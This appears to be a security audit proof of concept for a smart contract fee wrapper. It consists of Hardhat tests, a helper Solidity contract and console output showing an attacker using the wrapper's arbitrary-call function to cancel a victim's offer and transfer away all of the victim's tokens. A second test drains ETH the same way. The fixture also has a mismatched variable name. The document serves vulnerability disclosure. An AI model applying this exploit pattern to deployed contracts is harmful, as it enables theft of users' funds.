import { loadFixture } from "@nomicfoundation/hardhat-network-helpers";
import { parseUnits } from "ethers/lib/utils";
import { ethers } from "hardhat";
const { expect } = require("chai");

describe("Fee Wrapper", function () {
  const FEE_TO = "0x0000000000000000000000000000000000000FEE";

  async function deployRubiProtocolFixture() {
    // Contracts are deployed using the first signer/account by default
    const [owner, otherAccount, testMaker, attacker, victim] = await ethers.getSigners();

    const WETH = await ethers.getContractFactory("WETH9");
    const weth = await WETH.deploy();

    const testCoinFactory = await ethers.getContractFactory("TokenWithFaucet");
    const testCoin = await testCoinFactory.deploy(
      owner.address,
      "Test",
      "TEST",
      18
    );
    const testStableCoin = await testCoinFactory.deploy(
      owner.address,
      "Test Stablecoin",
      "TUSDC",
      6
    );

    const ComptrollerFactory = await ethers.getContractFactory("Comptroller");
    const comptroller = await ComptrollerFactory.deploy(); // TODO: Rename to bath house?

    const interestRateModelFacStory = await ethers.getContractFactory(
      "WhitePaperInterestRateModel"
    );

    // Inputs
    const baseRatePerYear = parseUnits("0.3"); //  TODO: WHAT SHOULD THIS BE?
    const multiplierPerYear = parseUnits("0.02"); //  TODO: WHAT SHOULD THIS BE?
    const irModel = await interestRateModelFactory.deploy(
      baseRatePerYear,
      multiplierPerYear
    );

    const cTokenFactory = await ethers.getContractFactory("CErc20Delegate");
    const cTokenImplementation = await cTokenFactory.deploy();

    // Initialize the market
    const underlying = testCoin.address;
    const interestRateModel = irModel.address;
    const initialExchangeRateMantissa = "200000000000000000000000000"; // TODO: What should this be?
    const name = "Test Bath Token"; // TODO: move this process to Bath House factory
    const symbol = "bathTEST";
    const decimal = 18;

    const becomeImplementationData = "0x"; //TODO: What should this be?

    const cTokenDelegatorFactory = await ethers.getContractFactory(
      "CErc20Delegator"
    );

    const cWETH = await cTokenDelegatorFactory
      .deploy(
        weth.address,
        comptroller.address,
        interestRateModel,
        initialExchangeRateMantissa,
        "WETH",
        "WETH",
        decimal,
        owner.address, // Admin!
        cTokenImplementation.address,
        becomeImplementationData
      )
      .catch((e) => {
        console.log("\nError deploying cWETH!", e.reason, "\n");
      });
    await comptroller._supportMarket(cWETH!.address).catch((e: any) => {
      console.log("\nError supporting new cToken market!", e.reason, "\n");
    });

    const RubiconMarketFactory = await ethers.getContractFactory(
      "RubiconMarket"
    );
    const rubiconMarket = await RubiconMarketFactory.deploy();
    await rubiconMarket.initialize(testMaker.address);
    await rubiconMarket.setFeeBPS(10);

    // Make a liquid ERC-20 pair for testCoin and testStableCoin. Bid at $90 ask at $110.
    await testCoin.connect(owner).faucet();
    await testStableCoin.connect(owner).faucet();

    await testCoin.connect(owner).transfer(victim.address, parseUnits("999"));

    await testCoin!
      .connect(owner)
      .approve(rubiconMarket.address, parseUnits("1000"));
    await testStableCoin!
      .connect(owner)
      .approve(rubiconMarket.address, parseUnits("1000"));

    await rubiconMarket.functions["offer(uint256,address,uint256,address)"](
      parseUnits("90", 6),
      testStableCoin.address,
      parseUnits("100"),
      testCoin.address,
      { from: owner.address }
    );
    await rubiconMarket.functions["offer(uint256,address,uint256,address)"](
      parseUnits("100"),
      testCoin.address,
      parseUnits("110", 6),
      testStableCoin.address,
      { from: owner.address }
    );

    const RubiconRouter = await ethers.getContractFactory("RubiconRouter");
    const router = await RubiconRouter.deploy();
    await router.startErUp(rubiconMarket.address, weth.address);

    // fee wrapper
    const FeeWrapper = await ethers.getContractFactory("FeeWrapper");
    const feeWrapper = await FeeWrapper.deploy();

    // 3rd party protocol
    const PepeFinance = await ethers.getContractFactory("Some3rdPartyProtocol");
    const pepeFinance = await PepeFinance.deploy(
      feeWrapper.address,
      FEE_TO,
      rubiconMarket.address
    );

    await testCoin!.connect(owner).approve(router.address, parseUnits("320"));

    return {
      rubiconMarket,
      testCoin,
      owner,
      otherAccount,
      testStableCoin,
      weth,
      cWETH,
      router,
      feeWrapper,
      pepeFinance,
      attacker,
      victim
    };
  }
  it("Exploit steal all tokens from offers created with the `FeeWrapper`", async function () {
    const { testCoin, testStableCoin, pepeFinance, rubiconMarket, feeWrapper, attacker, victim } = await loadFixture(
      deployRubiProtocolFixture
    );

    let victimBalance = Number(await testCoin.balanceOf(victim.address))
    console.log("The victim has a lot of tokens. Victim's balance = ", victimBalance)

    // Victim puts all his hard-earned money into an offer
    let pay_amt = testCoin.balanceOf(victim.address);
    await testCoin
      .connect(victim)
      .approve(pepeFinance.address, pay_amt);
    await pepeFinance.connect(victim).executeOffer(
      pay_amt,
      testCoin.address,
      parseUnits("110"),
      testStableCoin.address,
      0
    );
    // This is the 3rd offer, hence it would get and ID of 3
    const victimOfferId = 3;

    let attackerBalance = Number(await testCoin.balanceOf(attacker.address))
    console.log("Before attack attacker has no tokens. Attacker's balance = ", attackerBalance)


    let ABI = [
      "function cancel(uint256 id)",
      "function transfer(address to, uint256 amount)"
    ];
    let iface = new ethers.utils.Interface(ABI);

    // The attaacker calls `cancel` through the `FeeWrapper`.
    // This steals the victim's tokens and puts them into the FeeWrapper
    let cancelFunc = iface.getFunction("cancel")
    let cancelFuncSig = iface.getSighash(cancelFunc)
    let cancelFuncParams = iface._encodeParams(cancelFunc.inputs, [victimOfferId])
    await feeWrapper.rubicall(
      {
        selector: cancelFuncSig,
        args: cancelFuncParams,
        target: rubiconMarket.address,
        feeParams: {
          feeToken: testCoin.address,
          totalAmount: parseUnits("0"),
          feeAmount: parseUnits("0"),
          feeTo: testCoin.address
        }
      }
    )

    // The attacker calls `transfer` to take the victim's tokens from the FeeWrapper, to the attacker account
    let feeWrapperBalance = await testCoin.balanceOf(feeWrapper.address)
    let transferFunc = iface.getFunction("transfer")
    let transferFuncSig = iface.getSighash(transferFunc)
    let transferFuncParams = iface._encodeParams(transferFunc.inputs, [attacker.address, feeWrapperBalance])
    await feeWrapper.rubicall(
      {
        selector: transferFuncSig,
        args: transferFuncParams,
        target: testCoin.address,
        feeParams: {
          feeToken: testCoin.address,
          totalAmount: 0,
          feeAmount: 0,
          feeTo: testCoin.address
        }
      }
    )

    attackerBalance = Number(await testCoin.balanceOf(attacker.address))
    console.log("After attack, attacker has all of the victims tokens. Attacker's balance = ", attackerBalance)
    victimBalance = Number(await testCoin.balanceOf(victim.address))
    console.log("The victim is left with nothing. Victim's balance = ", victimBalance)

    // Assert that we really stole all victim's tokens
    expect(attackerBalance).to.be.gt(0);
    expect(victimBalance).to.equal(0);
  })
});
// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../RubiconMarket.sol";
import "../utilities/FeeWrapper.sol";

contract Some3rdPartyProtocol {
    address public feeWrapper;
    uint256 feeType = 10_000; // BPS
    uint256 fee = 10; // 10/10_000
    address feeTo;
    address rubiMarket;

    constructor(address _feeWrapper, address _feeTo, address _rubiMarket) {
        feeWrapper = _feeWrapper;
        feeTo = _feeTo;
        rubiMarket = _rubiMarket;
    }

    function executeOffer(
        uint256 pay_amt,
        address pay_gem,
        uint256 buy_amt,
        address buy_gem,
        uint256 pos
    ) external returns (uint256) {
        uint256[] memory tokenAmounts = new uint256[](2);
        bytes memory id;
        tokenAmounts[0] = pay_amt;
    tokenAmounts[1] = buy_amt;

        IERC20(pay_gem).transferFrom(msg.sender, address(this), pay_amt);
        IERC20(pay_gem).approve(address(feeWrapper), pay_amt);

        // calculate fee to pay using FeeWrapper
        (uint256[] memory new_amounts, uint256[] memory fees_) = FeeWrapper(
            feeWrapper
        ).calculateFee(tokenAmounts, feeType, fee);

        FeeWrapper.FeeParams memory feeParams = FeeWrapper.FeeParams(
            pay_gem,
            pay_amt,
            fees_[0],
            feeTo
        );

        // update both pay_amt and buy_amt_min with fee deducted
        pay_amt = new_amounts[0];

        // Call rubiMarket.offer
        FeeWrapper.CallParams memory params = FeeWrapper.CallParams(
            bytes4(keccak256(bytes("offer(uint256,address,uint256,address)"))),
            abi.encode(pay_amt, pay_gem, buy_amt, buy_gem),
            rubiMarket,
            feeParams
        );
        id = FeeWrapper(feeWrapper).rubicall(params);

        return uint256(bytes32(id));
    }
}
$ npx hardhat test test/hardhat-tests/exploit-fee-wrapper.ts

The victim has a lot of tokens. Victim's balance =  `999000000000000000000`
Before attack attacker has no tokens. Attacker's balance =  `0`
After attack, attacker has all of the victims tokens. Attacker's balance =  `998001000000000000000`
The victim is left with nothing. Victim's balance =  `0`
it("should call offerWithETH via 3d party AND STEAL IT ALL!", async function () {
  const { testCoin, pepeFinance, feeWrapper, router } = await loadFixture(
    deployRubiProtocolFixture
  );

  const feeToETHBalance0 = await ethers.provider.getBalance(FEE_TO);
  await pepeFinance.executeOfferWithETH(
    parseUnits("9"),
    parseUnits("310"),
    testCoin.address,
    0,
    { value: parseUnits("9") }
  );
  const feeToETHBalance1 = await ethers.provider.getBalance(FEE_TO);
  expect(feeToETHBalance1).to.be.gt(feeToETHBalance0);

  // The attacker calls the `FeeWrapper` directly
  let ABI = [
    "function cancelForETH(uint256 id)"
  ];
  let iface = new ethers.utils.Interface(ABI);
  let cancelFunc = iface.getFunction("cancelForETH")
  let cancelFuncSig = iface.getSighash(cancelFunc)
  let cancelFuncParams = iface._encodeParams(cancelFunc.inputs, [5])
  console.log(await feeWrapper.rubicall(
    {
      selector: cancelFuncSig,
      args: cancelFuncParams,
      target: router.address,
      feeParams: {
        feeToken: testCoin.address,
        totalAmount: 0,
        feeAmount: 0,
        feeTo: testCoin.address
      }
    }
  ))
});
